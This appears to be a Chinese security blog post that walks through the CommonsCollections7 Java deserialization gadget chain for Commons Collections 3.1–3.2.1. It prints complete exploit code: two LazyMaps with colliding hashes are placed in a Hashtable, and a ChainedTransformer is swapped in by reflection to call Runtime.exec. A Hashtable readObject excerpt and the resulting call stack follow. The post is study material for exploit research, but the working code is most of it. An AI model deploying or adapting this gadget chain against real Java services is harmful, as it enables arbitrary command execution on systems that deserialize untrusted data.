CC7复习
# 本文知识点:
测试环境:3.1-3.2.1,jdk1.7,1.8
这里仍然是想法子触发 LazyMap.get ()。Hashtable 的 readObject 中。遇到 hash 碰撞时,通过调用一个对象的 equals 方法对比两个对象判断是真的 hash 碰撞。这里的 equals 方法是 AbstractMap 的 equals 方法。
# 正文:
直接上代码
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CommonsCollections7 {
public static void main(String[] args) throws IllegalAccessException, IOException, ClassNotFoundException, NoSuchFieldException {
Transformer[] fakeTransformer = new Transformer[]{};
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
//ChainedTransformer实例
//先设置假的 Transformer 数组,防止生成时执行命令
Transformer chainedTransformer = new ChainedTransformer(fakeTransformer);
//LazyMap实例
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(innerMap1,chainedTransformer);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2,chainedTransformer);
lazyMap2.put("zZ", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, "test");
hashtable.put(lazyMap2, "test");
//通过反射设置真的 ransformer 数组
Field field = chainedTransformer.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
//上面的 hashtable.put 会使得 lazyMap2 增加一个 yy=>yy,所以这里要移除
lazyMap2.remove("yy");
//序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(hashtable);
oos.flush();
oos.close();
//测试反序列化
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}
Hashtable 类的关键代码如下:
//Hashtable 的 readObject 方法
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
………………
for (; elements > 0; elements--) {
K key = (K)s.readObject();
V value = (V)s.readObject();
//reconstitutionPut方法
reconstitutionPut(newTable, key, value);
}
this.table = newTable;
}
//跟进 reconstitutionPut 方法
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
//注意这里的 equals 方法
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
跟进上面的 equals 方法,发现最终调用了 AbstractMap 类的 equals 方法,如下:
就是在这里触发了 LazyMap.get ()。
大体调用栈:
//这里是 jdk 1.7 的,不同版本 HashMap readObject 可能略有不同
->Hashtable.readObject()
->Hashtable.reconstitutionPut()
->AbstractMapDecorator.equals
->AbstractMap.equals()
->LazyMap.get.get()
->ChainedTransformer.transform()
->ConstantTransformer.transform()
->InvokerTransformer.transform()
->…………
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 月光倾泻与山海,你跌进我的梦里!